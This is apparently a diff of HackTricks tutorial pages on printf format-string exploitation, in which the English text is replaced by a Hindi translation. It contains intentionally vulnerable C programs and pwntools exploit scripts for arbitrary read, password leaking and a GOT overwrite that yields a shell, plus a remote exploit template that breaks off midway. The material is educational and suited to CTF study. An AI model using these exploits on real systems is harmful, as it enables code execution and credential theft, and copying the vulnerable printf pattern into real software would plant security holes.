संवेदनशीलता तब प्रकट होती है जब **हमलावर टेक्स्ट को इस फ़ंक्शन के पहले तर्क के रूप में उपयोग किया जाता है**। हमलावर एक **विशेष इनपुट तैयार करने** में सक्षम होगा जो **printf फॉर्मेट** स्ट्रिंग क्षमताओं का दुरुपयोग करके किसी भी पते (पढ़ने योग्य/लिखने योग्य) में **कोई भी डेटा पढ़ने और लिखने** की अनुमति देगा। इस तरह से **मनमाना कोड निष्पादित** करने में सक्षम होना।
|
||||
|
||||
#### Formatters:
|
||||
|
||||
```bash
|
||||
%08x —> 8 hex bytes
|
||||
%d —> Entire
|
||||
@ -28,72 +21,58 @@ The vulnerability appears when an **attacker text is used as the first argument*
|
||||
%hn —> Occupies 2 bytes instead of 4
|
||||
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
|
||||
```
|
||||
**उदाहरण:**
|
||||
|
||||
**Examples:**
|
||||
|
||||
- Vulnerable example:
|
||||
|
||||
- कमजोर उदाहरण:
|
||||
```c
|
||||
char buffer[30];
|
||||
gets(buffer); // Dangerous: takes user input without restrictions.
|
||||
printf(buffer); // If buffer contains "%x", it reads from the stack.
|
||||
```
|
||||
|
||||
- Normal Use:
|
||||
|
||||
- सामान्य उपयोग:
|
||||
```c
|
||||
int value = 1205;
|
||||
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
|
||||
```
|
||||
|
||||
- With Missing Arguments:
|
||||
|
||||
- गायब तर्कों के साथ:
|
||||
```c
|
||||
printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
|
||||
```
|
||||
|
||||
- fprintf vulnerable:
|
||||
|
||||
- fprintf कमजोर:
|
||||
```c
|
||||
#include <stdio.h>
|
||||
|
||||
int main(int argc, char *argv[]) {
|
||||
char *user_input;
|
||||
user_input = argv[1];
|
||||
FILE *output_file = fopen("output.txt", "w");
|
||||
fprintf(output_file, user_input); // The user input can include formatters!
|
||||
fclose(output_file);
|
||||
return 0;
|
||||
char *user_input;
|
||||
user_input = argv[1];
|
||||
FILE *output_file = fopen("output.txt", "w");
|
||||
fprintf(output_file, user_input); // The user input can include formatters!
|
||||
fclose(output_file);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
### **पॉइंटर्स तक पहुँचना**
|
||||
|
||||
### **Accessing Pointers**
|
||||
|
||||
The format **`%<n>$x`**, where `n` is a number, allows to indicate to printf to select the n parameter (from the stack). So if you want to read the 4th param from the stack using printf you could do:
|
||||
|
||||
फॉर्मेट **`%<n>$x`**, जहाँ `n` एक संख्या है, printf को स्टैक से n पैरामीटर चुनने के लिए संकेत करने की अनुमति देता है। इसलिए यदि आप printf का उपयोग करके स्टैक से 4वां पैरामीटर पढ़ना चाहते हैं, तो आप कर सकते हैं:
|
||||
```c
|
||||
printf("%x %x %x %x")
|
||||
```
|
||||
और आप पहले से चौथे पैरामीटर तक पढ़ सकते हैं।
|
||||
|
||||
and you would read from the first to the forth param.
|
||||
|
||||
Or you could do:
|
||||
|
||||
या आप कर सकते हैं:
|
||||
```c
|
||||
printf("%4$x")
|
||||
```
|
||||
और सीधे चौथे को पढ़ें।
|
||||
|
||||
and read directly the forth.
|
||||
|
||||
Notice that the attacker controls the `printf` **parameter, which basically means that** his input is going to be in the stack when `printf` is called, which means that he could write specific memory addresses in the stack.
|
||||
ध्यान दें कि हमलावर `printf` **पैरामीटर को नियंत्रित करता है, जिसका अर्थ है कि** उसका इनपुट `printf` के कॉल होने पर स्टैक में होगा, जिसका अर्थ है कि वह स्टैक में विशिष्ट मेमोरी पते लिख सकता है।
|
||||
|
||||
> [!CAUTION]
|
||||
> An attacker controlling this input, will be able to **add arbitrary address in the stack and make `printf` access them**. In the next section it will be explained how to use this behaviour.
|
||||
> एक हमलावर जो इस इनपुट को नियंत्रित करता है, वह **स्टैक में मनमाने पते जोड़ने में सक्षम होगा और `printf` को उन्हें एक्सेस करने के लिए मजबूर कर सकता है**। अगले अनुभाग में इस व्यवहार का उपयोग कैसे करें, यह समझाया जाएगा।
|
||||
|
||||
## **Arbitrary Read**
|
||||
|
||||
It's possible to use the formatter **`%n$s`** to make **`printf`** get the **address** situated in the **n position**, following it and **print it as if it was a string** (print until a 0x00 is found). So if the base address of the binary is **`0x8048000`**, and we know that the user input starts in the 4th position in the stack, it's possible to print the starting of the binary with:
|
||||
## **मनमाना पढ़ना**
|
||||
|
||||
फॉर्मेटर **`%n$s`** का उपयोग करना संभव है ताकि **`printf`** **n स्थिति** में स्थित **पते** को प्राप्त कर सके, इसके बाद और **इसे एक स्ट्रिंग के रूप में प्रिंट कर सके** (जब तक 0x00 नहीं मिलता)। इसलिए यदि बाइनरी का बेस पता **`0x8048000`** है, और हम जानते हैं कि उपयोगकर्ता इनपुट स्टैक में चौथी स्थिति से शुरू होता है, तो बाइनरी की शुरुआत को प्रिंट करना संभव है:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -106,18 +85,16 @@ payload += p32(0x8048000) #6th param
|
||||
p.sendline(payload)
|
||||
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
|
||||
```
|
||||
|
||||
> [!CAUTION]
|
||||
> Note that you cannot put the address 0x8048000 at the beginning of the input because the string will be cat in 0x00 at the end of that address.
|
||||
> ध्यान दें कि आप इनपुट की शुरुआत में 0x8048000 का पता नहीं डाल सकते क्योंकि स्ट्रिंग उस पते के अंत में 0x00 पर कट जाएगी।
|
||||
|
||||
### Find offset
|
||||
### ऑफसेट खोजें
|
||||
|
||||
To find the offset to your input you could send 4 or 8 bytes (`0x41414141`) followed by **`%1$x`** and **increase** the value till retrieve the `A's`.
|
||||
अपने इनपुट के लिए ऑफसेट खोजने के लिए आप 4 या 8 बाइट्स (`0x41414141`) भेज सकते हैं उसके बाद **`%1$x`** और **मान बढ़ाएं** जब तक कि `A's` प्राप्त न हो जाएं।
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Brute Force printf offset</summary>
|
||||
|
||||
<summary>ब्रूट फोर्स printf ऑफसेट</summary>
|
||||
```python
|
||||
# Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak
|
||||
|
||||
@ -125,88 +102,82 @@ from pwn import *
|
||||
|
||||
# Iterate over a range of integers
|
||||
for i in range(10):
|
||||
# Construct a payload that includes the current integer as offset
|
||||
payload = f"AAAA%{i}$x".encode()
|
||||
# Construct a payload that includes the current integer as offset
|
||||
payload = f"AAAA%{i}$x".encode()
|
||||
|
||||
# Start a new process of the "chall" binary
|
||||
p = process("./chall")
|
||||
# Start a new process of the "chall" binary
|
||||
p = process("./chall")
|
||||
|
||||
# Send the payload to the process
|
||||
p.sendline(payload)
|
||||
# Send the payload to the process
|
||||
p.sendline(payload)
|
||||
|
||||
# Read and store the output of the process
|
||||
output = p.clean()
|
||||
# Read and store the output of the process
|
||||
output = p.clean()
|
||||
|
||||
# Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output
|
||||
if b"41414141" in output:
|
||||
# If the string is found, log the success message and break out of the loop
|
||||
log.success(f"User input is at offset : {i}")
|
||||
break
|
||||
# Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output
|
||||
if b"41414141" in output:
|
||||
# If the string is found, log the success message and break out of the loop
|
||||
log.success(f"User input is at offset : {i}")
|
||||
break
|
||||
|
||||
# Close the process
|
||||
p.close()
|
||||
# Close the process
|
||||
p.close()
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
### How useful
|
||||
### कितनी उपयोगी
|
||||
|
||||
Arbitrary reads can be useful to:
|
||||
मनमाने पढ़ने से निम्नलिखित में मदद मिल सकती है:
|
||||
|
||||
- **Dump** the **binary** from memory
|
||||
- **Access specific parts of memory where sensitive** **info** is stored (like canaries, encryption keys or custom passwords like in this [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
|
||||
- **बाइनरी** को मेमोरी से **डंप** करना
|
||||
- **संवेदनशील** **जानकारी** संग्रहीत करने वाले मेमोरी के विशिष्ट भागों तक **पहुँच** प्राप्त करना (जैसे कि कैनरी, एन्क्रिप्शन कुंजी या कस्टम पासवर्ड जैसे इस [**CTF चुनौती**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value) में)
|
||||
|
||||
## **Arbitrary Write**
|
||||
## **मनमाना लिखना**
|
||||
|
||||
The formatter **`%<num>$n`** **writes** the **number of written bytes** in the **indicated address** in the \<num> param in the stack. If an attacker can write as many char as he will with printf, he is going to be able to make **`%<num>$n`** write an arbitrary number in an arbitrary address.
|
||||
|
||||
Fortunately, to write the number 9999, it's not needed to add 9999 "A"s to the input, in order to so so it's possible to use the formatter **`%.<num-write>%<num>$n`** to write the number **`<num-write>`** in the **address pointed by the `num` position**.
|
||||
फॉर्मेटर **`%<num>$n`** **लिखता** है **लिखे गए बाइट्स की संख्या** को **संकेतित पते** में \<num> पैरामीटर में स्टैक में। यदि एक हमलावर printf के साथ जितने भी अक्षर लिख सकता है, वह **`%<num>$n`** को एक मनमाना संख्या को एक मनमाने पते पर लिखने में सक्षम होगा।
|
||||
|
||||
भाग्यवश, संख्या 9999 लिखने के लिए, इनपुट में 9999 "A"s जोड़ना आवश्यक नहीं है, इसलिए ऐसा करने के लिए फॉर्मेटर **`%.<num-write>%<num>$n`** का उपयोग करके संख्या **`<num-write>`** को **`num` स्थिति द्वारा इंगित पते** में लिखा जा सकता है।
|
||||
```bash
|
||||
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
|
||||
AAAA.%500\$08x —> Param at offset 500
|
||||
```
|
||||
हालांकि, ध्यान दें कि आमतौर पर एक पता जैसे `0x08049724` (जो एक बार में लिखने के लिए एक HUGE संख्या है) लिखने के लिए, **`$hn`** का उपयोग किया जाता है बजाय **`$n`** के। यह **केवल 2 Bytes** लिखने की अनुमति देता है। इसलिए, यह ऑपरेशन दो बार किया जाता है, एक बार पते के उच्चतम 2B के लिए और दूसरी बार निम्नतम के लिए।
|
||||
|
||||
However, note that usually in order to write an address such as `0x08049724` (which is a HUGE number to write at once), **it's used `$hn`** instead of `$n`. This allows to **only write 2 Bytes**. Therefore this operation is done twice, one for the highest 2B of the address and another time for the lowest ones.
|
||||
इसलिए, यह भेद्यता **किसी भी पते में कुछ भी लिखने की अनुमति देती है (मनमाना लेखन)।**
|
||||
|
||||
Therefore, this vulnerability allows to **write anything in any address (arbitrary write).**
|
||||
|
||||
In this example, the goal is going to be to **overwrite** the **address** of a **function** in the **GOT** table that is going to be called later. Although this could abuse other arbitrary write to exec techniques:
|
||||
इस उदाहरण में, लक्ष्य यह होगा कि **एक फ़ंक्शन** के **पते** को **ओवरराइट** किया जाए जो बाद में **GOT** तालिका में कॉल किया जाएगा। हालांकि, यह अन्य मनमाने लेखन को exec तकनीकों का दुरुपयोग कर सकता है:
|
||||
|
||||
{{#ref}}
|
||||
../arbitrary-write-2-exec/
|
||||
{{#endref}}
|
||||
|
||||
We are going to **overwrite** a **function** that **receives** its **arguments** from the **user** and **point** it to the **`system`** **function**.\
|
||||
As mentioned, to write the address, usually 2 steps are needed: You **first writes 2Bytes** of the address and then the other 2. To do so **`$hn`** is used.
|
||||
हम एक **फ़ंक्शन** को **ओवरराइट** करने जा रहे हैं जो **उपयोगकर्ता** से अपने **आर्गुमेंट्स** को **प्राप्त** करता है और इसे **`system`** **फ़ंक्शन** की ओर **इशारा** करता है।\
|
||||
जैसा कि उल्लेख किया गया है, पते को लिखने के लिए आमतौर पर 2 चरणों की आवश्यकता होती है: आप **पहले 2Bytes** का पता लिखते हैं और फिर अन्य 2। ऐसा करने के लिए **`$hn`** का उपयोग किया जाता है।
|
||||
|
||||
- **HOB** is called to the 2 higher bytes of the address
|
||||
- **LOB** is called to the 2 lower bytes of the address
|
||||
- **HOB** को पते के 2 उच्चतम बाइट्स के लिए कॉल किया जाता है
|
||||
- **LOB** को पते के 2 निम्नतम बाइट्स के लिए कॉल किया जाता है
|
||||
|
||||
Then, because of how format string works you need to **write first the smallest** of \[HOB, LOB] and then the other one.
|
||||
फिर, फ़ॉर्मेट स्ट्रिंग के काम करने के तरीके के कारण, आपको **पहले सबसे छोटे** \[HOB, LOB] को लिखना होगा और फिर दूसरे को।
|
||||
|
||||
If HOB < LOB\
|
||||
यदि HOB < LOB\
|
||||
`[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
|
||||
|
||||
If HOB > LOB\
|
||||
यदि HOB > LOB\
|
||||
`[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]`
|
||||
|
||||
HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB
|
||||
|
||||
```bash
|
||||
python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'
|
||||
```
|
||||
|
||||
### Pwntools Template
|
||||
|
||||
You can find a **template** to prepare a exploit for this kind of vulnerability in:
|
||||
आप इस प्रकार की कमजोरियों के लिए एक **टेम्पलेट** तैयार करने के लिए पा सकते हैं:
|
||||
|
||||
{{#ref}}
|
||||
format-strings-template.md
|
||||
{{#endref}}
|
||||
|
||||
Or this basic example from [**here**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite):
|
||||
|
||||
या इस बुनियादी उदाहरण को [**यहां**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite) से:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -225,27 +196,20 @@ p.sendline('/bin/sh')
|
||||
|
||||
p.interactive()
|
||||
```
|
||||
## फ़ॉर्मेट स्ट्रिंग्स से BOF
|
||||
|
||||
## Format Strings to BOF
|
||||
एक फ़ॉर्मेट स्ट्रिंग भेद्यता की लिखने की क्रियाओं का दुरुपयोग करके **स्टैक के पते में लिखना** और **बफर ओवरफ्लो** प्रकार की भेद्यता का शोषण करना संभव है।
|
||||
|
||||
It's possible to abuse the write actions of a format string vulnerability to **write in addresses of the stack** and exploit a **buffer overflow** type of vulnerability.
|
||||
|
||||
## Other Examples & References
|
||||
## अन्य उदाहरण और संदर्भ
|
||||
|
||||
- [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string)
|
||||
- [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4)
|
||||
- [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak)
|
||||
- [https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html](https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html)
|
||||
- 32 bit, no relro, no canary, nx, no pie, basic use of format strings to leak the flag from the stack (no need to alter the execution flow)
|
||||
- 32 बिट, कोई relro नहीं, कोई canary नहीं, nx, कोई pie नहीं, स्टैक से ध्वज लीक करने के लिए फ़ॉर्मेट स्ट्रिंग्स का बुनियादी उपयोग (कार्य निष्पादन प्रवाह को बदलने की आवश्यकता नहीं)
|
||||
- [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
|
||||
- 32 bit, relro, no canary, nx, no pie, format string to overwrite the address `fflush` with the win function (ret2win)
|
||||
- 32 बिट, relro, कोई canary नहीं, nx, कोई pie नहीं, फ़ॉर्मेट स्ट्रिंग `fflush` के पते को जीतने के कार्य के साथ ओवरराइट करने के लिए (ret2win)
|
||||
- [https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html](https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html)
|
||||
- 32 bit, relro, no canary, nx, no pie, format string to write an address inside main in `.fini_array` (so the flow loops back 1 more time) and write the address to `system` in the GOT table pointing to `strlen`. When the flow goes back to main, `strlen` is executed with user input and pointing to `system`, it will execute the passed commands.
|
||||
|
||||
<figure><img src="../../images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
- 32 बिट, relro, कोई canary नहीं, nx, कोई pie नहीं, फ़ॉर्मेट स्ट्रिंग `.fini_array` में मुख्य के अंदर एक पते को लिखने के लिए (ताकि प्रवाह एक और बार लूप हो) और GOT तालिका में `system` के पते को `strlen` की ओर इंगित करने के लिए लिखें। जब प्रवाह मुख्य में वापस जाता है, तो `strlen` उपयोगकर्ता इनपुट के साथ निष्पादित होता है और `system` की ओर इंगित करता है, यह पास किए गए आदेशों को निष्पादित करेगा।
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,32 +1,27 @@
|
||||
# Format Strings - Arbitrary Read Example
|
||||
# फ़ॉर्मेट स्ट्रिंग्स - मनमाने पढ़ने का उदाहरण
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Read Binary Start
|
||||
|
||||
### Code
|
||||
## बाइनरी पढ़ना शुरू करें
|
||||
|
||||
### कोड
|
||||
```c
|
||||
#include <stdio.h>
|
||||
|
||||
int main(void) {
|
||||
char buffer[30];
|
||||
char buffer[30];
|
||||
|
||||
fgets(buffer, sizeof(buffer), stdin);
|
||||
fgets(buffer, sizeof(buffer), stdin);
|
||||
|
||||
printf(buffer);
|
||||
return 0;
|
||||
printf(buffer);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
Compile it with:
|
||||
|
||||
इसे संकलित करें:
|
||||
```python
|
||||
clang -o fs-read fs-read.c -Wno-format-security -no-pie
|
||||
```
|
||||
|
||||
### Exploit
|
||||
|
||||
### शोषण
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -38,16 +33,14 @@ payload += p64(0x00400000)
|
||||
p.sendline(payload)
|
||||
log.info(p.clean())
|
||||
```
|
||||
|
||||
- The **offset is 11** because setting several As and **brute-forcing** with a loop offsets from 0 to 50 found that at offset 11 and with 5 extra chars (pipes `|` in our case), it's possible to control a full address.
|
||||
- I used **`%11$p`** with padding until I so that the address was all 0x4141414141414141
|
||||
- The **format string payload is BEFORE the address** because the **printf stops reading at a null byte**, so if we send the address and then the format string, the printf will never reach the format string as a null byte will be found before
|
||||
- The address selected is 0x00400000 because it's where the binary starts (no PIE)
|
||||
- **ऑफसेट 11 है** क्योंकि कई A सेट करने और **ब्रूट-फोर्सिंग** करने से 0 से 50 तक के लूप में पाया गया कि ऑफसेट 11 पर और 5 अतिरिक्त अक्षरों (हमारे मामले में पाइप `|`) के साथ, एक पूर्ण पते को नियंत्रित करना संभव है।
|
||||
- मैंने **`%11$p`** का उपयोग किया पैडिंग के साथ ताकि पता पूरी तरह से 0x4141414141414141 हो।
|
||||
- **फॉर्मेट स्ट्रिंग पेलोड पता से पहले है** क्योंकि **printf एक नल बाइट पर पढ़ना बंद कर देता है**, इसलिए यदि हम पता भेजते हैं और फिर फॉर्मेट स्ट्रिंग, तो printf कभी भी फॉर्मेट स्ट्रिंग तक नहीं पहुंचेगा क्योंकि एक नल बाइट पहले ही मिल जाएगी।
|
||||
- चयनित पता 0x00400000 है क्योंकि यहीं बाइनरी शुरू होती है (कोई PIE नहीं)
|
||||
|
||||
<figure><img src="broken-reference" alt="" width="477"><figcaption></figcaption></figure>
|
||||
|
||||
## Read passwords
|
||||
|
||||
## पासवर्ड पढ़ें
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
@ -55,111 +48,103 @@ log.info(p.clean())
|
||||
char bss_password[20] = "hardcodedPassBSS"; // Password in BSS
|
||||
|
||||
int main() {
|
||||
char stack_password[20] = "secretStackPass"; // Password in stack
|
||||
char input1[20], input2[20];
|
||||
char stack_password[20] = "secretStackPass"; // Password in stack
|
||||
char input1[20], input2[20];
|
||||
|
||||
printf("Enter first password: ");
|
||||
scanf("%19s", input1);
|
||||
printf("Enter first password: ");
|
||||
scanf("%19s", input1);
|
||||
|
||||
printf("Enter second password: ");
|
||||
scanf("%19s", input2);
|
||||
printf("Enter second password: ");
|
||||
scanf("%19s", input2);
|
||||
|
||||
// Vulnerable printf
|
||||
printf(input1);
|
||||
printf("\n");
|
||||
// Vulnerable printf
|
||||
printf(input1);
|
||||
printf("\n");
|
||||
|
||||
// Check both passwords
|
||||
if (strcmp(input1, stack_password) == 0 && strcmp(input2, bss_password) == 0) {
|
||||
printf("Access Granted.\n");
|
||||
} else {
|
||||
printf("Access Denied.\n");
|
||||
}
|
||||
// Check both passwords
|
||||
if (strcmp(input1, stack_password) == 0 && strcmp(input2, bss_password) == 0) {
|
||||
printf("Access Granted.\n");
|
||||
} else {
|
||||
printf("Access Denied.\n");
|
||||
}
|
||||
|
||||
return 0;
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
Compile it with:
|
||||
|
||||
इसे संकलित करें:
|
||||
```bash
|
||||
clang -o fs-read fs-read.c -Wno-format-security
|
||||
```
|
||||
### स्टैक से पढ़ें
|
||||
|
||||
### Read from stack
|
||||
|
||||
The **`stack_password`** will be stored in the stack because it's a local variable, so just abusing printf to show the content of the stack is enough. This is an exploit to BF the first 100 positions to leak the passwords form the stack:
|
||||
|
||||
**`stack_password`** स्टैक में संग्रहीत होगा क्योंकि यह एक स्थानीय चर है, इसलिए स्टैक की सामग्री को दिखाने के लिए printf का दुरुपयोग करना पर्याप्त है। यह स्टैक से पासवर्ड लीक करने के लिए पहले 100 स्थानों को BF करने का एक शोषण है:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
for i in range(100):
|
||||
print(f"Try: {i}")
|
||||
payload = f"%{i}$s\na".encode()
|
||||
p = process("./fs-read")
|
||||
p.sendline(payload)
|
||||
output = p.clean()
|
||||
print(output)
|
||||
p.close()
|
||||
print(f"Try: {i}")
|
||||
payload = f"%{i}$s\na".encode()
|
||||
p = process("./fs-read")
|
||||
p.sendline(payload)
|
||||
output = p.clean()
|
||||
print(output)
|
||||
p.close()
|
||||
```
|
||||
|
||||
In the image it's possible to see that we can leak the password from the stack in the `10th` position:
|
||||
छवि में यह देखा जा सकता है कि हम `10th` स्थिति से स्टैक से पासवर्ड लीक कर सकते हैं:
|
||||
|
||||
<figure><img src="../../images/image (1234).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="../../images/image (1233).png" alt="" width="338"><figcaption></figcaption></figure>
|
||||
|
||||
### Read data
|
||||
### डेटा पढ़ें
|
||||
|
||||
Running the same exploit but with `%p` instead of `%s` it's possible to leak a heap address from the stack at `%25$p`. Moreover, comparing the leaked address (`0xaaaab7030894`) with the position of the password in memory in that process we can obtain the addresses difference:
|
||||
समान एक्सप्लॉइट को `%s` के बजाय `%p` के साथ चलाने पर, यह संभव है कि हम स्टैक से `%25$p` पर एक हीप पता लीक कर सकें। इसके अलावा, लीक किए गए पते (`0xaaaab7030894`) की तुलना उस प्रक्रिया में मेमोरी में पासवर्ड की स्थिति से करने पर हम पते के अंतर को प्राप्त कर सकते हैं:
|
||||
|
||||
<figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
Now it's time to find how to control 1 address in the stack to access it from the second format string vulnerability:
|
||||
|
||||
अब यह पता लगाने का समय है कि स्टैक में 1 पते को कैसे नियंत्रित किया जाए ताकि इसे दूसरे फॉर्मेट स्ट्रिंग कमजोरियों से एक्सेस किया जा सके:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
def leak_heap(p):
|
||||
p.sendlineafter(b"first password:", b"%5$p")
|
||||
p.recvline()
|
||||
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
|
||||
return int(response, 16)
|
||||
p.sendlineafter(b"first password:", b"%5$p")
|
||||
p.recvline()
|
||||
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
|
||||
return int(response, 16)
|
||||
|
||||
for i in range(30):
|
||||
p = process("./fs-read")
|
||||
p = process("./fs-read")
|
||||
|
||||
heap_leak_addr = leak_heap(p)
|
||||
print(f"Leaked heap: {hex(heap_leak_addr)}")
|
||||
heap_leak_addr = leak_heap(p)
|
||||
print(f"Leaked heap: {hex(heap_leak_addr)}")
|
||||
|
||||
password_addr = heap_leak_addr - 0x126a
|
||||
password_addr = heap_leak_addr - 0x126a
|
||||
|
||||
print(f"Try: {i}")
|
||||
payload = f"%{i}$p|||".encode()
|
||||
payload += b"AAAAAAAA"
|
||||
print(f"Try: {i}")
|
||||
payload = f"%{i}$p|||".encode()
|
||||
payload += b"AAAAAAAA"
|
||||
|
||||
p.sendline(payload)
|
||||
output = p.clean()
|
||||
print(output.decode("utf-8"))
|
||||
p.close()
|
||||
p.sendline(payload)
|
||||
output = p.clean()
|
||||
print(output.decode("utf-8"))
|
||||
p.close()
|
||||
```
|
||||
|
||||
And it's possible to see that in the **try 14** with the used passing we can control an address:
|
||||
और यह देखना संभव है कि **try 14** में उपयोग किए गए पासिंग के साथ हम एक पते को नियंत्रित कर सकते हैं:
|
||||
|
||||
<figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
### Exploit
|
||||
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
p = process("./fs-read")
|
||||
|
||||
def leak_heap(p):
|
||||
# At offset 25 there is a heap leak
|
||||
p.sendlineafter(b"first password:", b"%25$p")
|
||||
p.recvline()
|
||||
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
|
||||
return int(response, 16)
|
||||
# At offset 25 there is a heap leak
|
||||
p.sendlineafter(b"first password:", b"%25$p")
|
||||
p.recvline()
|
||||
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
|
||||
return int(response, 16)
|
||||
|
||||
heap_leak_addr = leak_heap(p)
|
||||
print(f"Leaked heap: {hex(heap_leak_addr)}")
|
||||
@ -178,7 +163,6 @@ output = p.clean()
|
||||
print(output)
|
||||
p.close()
|
||||
```
|
||||
|
||||
<figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,7 +1,6 @@
|
||||
# Format Strings Template
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
```python
|
||||
from pwn import *
|
||||
from time import sleep
|
||||
@ -36,23 +35,23 @@ print(" ====================== ")
|
||||
|
||||
|
||||
def connect_binary():
|
||||
global P, ELF_LOADED, ROP_LOADED
|
||||
global P, ELF_LOADED, ROP_LOADED
|
||||
|
||||
if LOCAL:
|
||||
P = process(LOCAL_BIN) # start the vuln binary
|
||||
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
|
||||
ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
|
||||
if LOCAL:
|
||||
P = process(LOCAL_BIN) # start the vuln binary
|
||||
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
|
||||
ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
|
||||
|
||||
elif REMOTETTCP:
|
||||
P = remote('10.10.10.10',1338) # start the vuln binary
|
||||
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
|
||||
ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
|
||||
elif REMOTETTCP:
|
||||
P = remote('10.10.10.10',1338) # start the vuln binary
|
||||
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
|
||||
ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
|
||||
|
||||
elif REMOTESSH:
|
||||
ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220)
|
||||
P = ssh_shell.process(REMOTE_BIN) # start the vuln binary
|
||||
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
|
||||
ROP_LOADED = ROP(elf)# Find ROP gadgets
|
||||
elif REMOTESSH:
|
||||
ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220)
|
||||
P = ssh_shell.process(REMOTE_BIN) # start the vuln binary
|
||||
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
|
||||
ROP_LOADED = ROP(elf)# Find ROP gadgets
|
||||
|
||||
|
||||
#######################################
|
||||
@ -60,39 +59,39 @@ def connect_binary():
|
||||
#######################################
|
||||
|
||||
def send_payload(payload):
|
||||
payload = PREFIX_PAYLOAD + payload + SUFFIX_PAYLOAD
|
||||
log.info("payload = %s" % repr(payload))
|
||||
if len(payload) > MAX_LENTGH: print("!!!!!!!!! ERROR, MAX LENGTH EXCEEDED")
|
||||
P.sendline(payload)
|
||||
sleep(0.5)
|
||||
return P.recv()
|
||||
payload = PREFIX_PAYLOAD + payload + SUFFIX_PAYLOAD
|
||||
log.info("payload = %s" % repr(payload))
|
||||
if len(payload) > MAX_LENTGH: print("!!!!!!!!! ERROR, MAX LENGTH EXCEEDED")
|
||||
P.sendline(payload)
|
||||
sleep(0.5)
|
||||
return P.recv()
|
||||
|
||||
|
||||
def get_formatstring_config():
|
||||
global P
|
||||
global P
|
||||
|
||||
for offset in range(1,1000):
|
||||
connect_binary()
|
||||
P.clean()
|
||||
for offset in range(1,1000):
|
||||
connect_binary()
|
||||
P.clean()
|
||||
|
||||
payload = b"AAAA%" + bytes(str(offset), "utf-8") + b"$p"
|
||||
recieved = send_payload(payload).strip()
|
||||
payload = b"AAAA%" + bytes(str(offset), "utf-8") + b"$p"
|
||||
recieved = send_payload(payload).strip()
|
||||
|
||||
if b"41" in recieved:
|
||||
for padlen in range(0,4):
|
